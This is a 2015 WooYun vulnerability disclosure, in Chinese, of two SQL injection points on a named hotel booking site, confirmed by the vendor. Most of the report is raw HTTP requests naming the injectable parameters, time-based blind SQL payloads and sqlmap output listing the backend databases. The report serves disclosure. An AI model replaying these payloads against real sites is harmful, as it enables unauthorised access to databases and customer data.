当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0163899

漏洞标题：住哲某站两处SQL注入（5库 DBA权限）

相关厂商：北京住哲信息技术有限公司

漏洞作者： 天地不仁 以万物为刍狗

提交时间：2015-12-23 17:43

修复时间：2016-02-09 23:29

公开时间：2016-02-09 23:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-23： 细节已通知厂商并且等待厂商处理中
2015-12-27： 厂商已经确认，细节仅向厂商公开
2016-01-06： 细节向核心白帽子及相关领域专家公开
2016-01-16： 细节向普通白帽子公开
2016-01-26： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

2333

详细说明：

GET /order.html?available=&display=&hname=&hotelid=&id=&personcome=*&unmember=1 HTTP/1.1
X-Forwarded-For: 8.8.8.8'
X-Requested-With: XMLHttpRequest
Referer: http://fanmei.zhuzher.com:80/
Cookie: JSESSIONID=CDDFBEDD30FED12CEF0EDD334B2E874C
Host: fanmei.zhuzher.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


参数 personcome 可注入

0.png


1.png


2.png


看了下权限 DBA 权限

10.png


另一处 SQL注入点：

GET /hotelList.html?searchHotel.cityid=2&searchHotel.enddate=2015-12-24&searchHotel.personcome=*/&searchHotel.startdate=2015-12-23&searchHotel.town= HTTP/1.1
X-Forwarded-For: 8.8.8.8'
X-Requested-With: XMLHttpRequest
Referer: http://fanmei.zhuzher.com:80/
Cookie: JSESSIONID=CDDFBEDD30FED12CEF0EDD334B2E874C
Host: fanmei.zhuzher.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


参数 searchHotel.personcome 可注入

3.png


URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection point(s) with a total of 94 HTTP(s) re
quests:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://fanmei.zhuzher.com:80/hotelList.html?searchHotel.cityid=2&se
archHotel.enddate=2015-12-24&searchHotel.personcome=' AND (SELECT * FROM (SELECT
(SLEEP(5)))MwmI) AND 'uAsb'='uAsb/&searchHotel.startdate=2015-12-23&searchHotel.
town=
---
[15:45:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[15:45:41] [INFO] fetching database names
[15:45:41] [INFO] fetching number of databases
[15:45:41] [INFO] retrieved:
[15:45:41] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
5
[15:46:48] [INFO] retrieved:
[15:47:18] [INFO] adjusting time delay to 2 seconds due to good response times
[15:48:20] [ERROR] invalid character detected. retrying..
[15:48:20] [WARNING] increasing time delay to 3 seconds
[15:49:52] [ERROR] invalid character detected. retrying..
[15:49:52] [WARNING] increasing time delay to 4 seconds
infor


漏洞证明：

sqlmap identified the following injection point(s) with a total of 94 HTTP(s) re
quests:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://fanmei.zhuzher.com:80/order.html?available=&display=&hname=&
hotelid=&id=&personcome=' AND (SELECT * FROM (SELECT(SLEEP(5)))tBpE) AND 'sgjo'=
'sgjo&unmember=1
---
[15:17:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[15:17:11] [INFO] fetching database names
[15:17:11] [INFO] fetching number of databases
[15:17:11] [INFO] retrieved:
[15:17:11] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
5
[15:17:26] [INFO] retrieved:
[15:17:31] [INFO] adjusting time delay to 1 second due to good response times
informatioa
[15:18:46] [ERROR] invalid character detected. retrying..
[15:18:46] [WARNING] increasing time delay to 2 seconds
_schema
[15:19:57] [INFO] retrieved: fanmei
[15:20:46] [INFO] retrieved: haolaide
[15:22:04] [ERROR] invalid character detected. retrying..
[15:22:04] [WARNING] increasing time delay to 3 seconds
ng
[15:22:35] [INFO] retrieved: mysql
[15:23:44] [INFO] retrieved: test
available databases [5]:
[*] fanmei
[*] haolaideng
[*] informatioa_schema
[*] mysql
[*] test
[15:24:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 503 times
[15:24:40] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\fanmei.zhuzher.com'
[*] shutting down at 15:24:40


修复方案：

版权声明：转载请注明来源 天地不仁 以万物为刍狗@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-12-27 20:13

厂商回复：

已确认

最新状态：

暂无